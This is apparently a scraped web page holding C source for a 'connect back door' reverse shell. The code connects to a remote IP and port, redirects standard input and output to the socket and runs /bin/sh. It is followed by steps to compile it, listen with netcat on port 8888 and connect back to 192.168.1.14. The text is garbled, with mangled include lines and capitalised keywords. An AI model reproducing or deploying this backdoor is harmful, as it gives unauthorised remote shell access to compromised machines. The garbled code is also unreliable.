# Include & lt; stdio. h & gt; # include & lt; sys/types. h & gt; # include & lt; sys/socket. h & gt; # include & lt; unistd. h & gt; # include & lt; fcntl. h & gt; # include & lt; netinet/in. h & gt; # includ
# Include
# Include
# Include
# Include
# Include
# Include
# Include
Void usage ();
Char shell [] = "/bin/sh ";
Char message [] = "s8s8 welcome ";
Int sock;
Int main (int argc, char * argv []) {
If (argc <3 ){
Usage (argv [0]);
}
Struct sockaddr_in server;
If (sock = socket (AF_INET, SOCK_STREAM, 0) =-1 ){
Printf ("Couldnt make socket! "); Exit (-1 );
}
Server. sin_family = AF_INET;
Server. sin_port = htons (atoi (argv [2]);
Server. sin_addr.s_addr = inet_addr (argv [1]);
If (connect (sock, (struct sockaddr *) & server, sizeof (struct sockaddr) =-1 ){
Printf ("cocould not connect to remote shell! ");
Exit (-1 );
}
Send (sock, message, sizeof (message), 0 );
Dup2 (sock, 0 );
Dup2 (sock, 1 );
Dup2 (sock, 2 );
Execl (shell, "/bin/sh", (char *) 0 );
Close (sock );
Return 1;
}
Void usage (char * prog []) {
Printf ("s8s8 connect back door ");
Printf ("SQL @s8s8.net ");
Printf ("Usage: % s ", Prog );
Exit (-1 );
}
Gcc-o f. c
Then listen to a port on the local machine
Nc-l-p 8888
Run./f 192.168.1.14 8888
Note: The shell returned from the bounce has no prompt.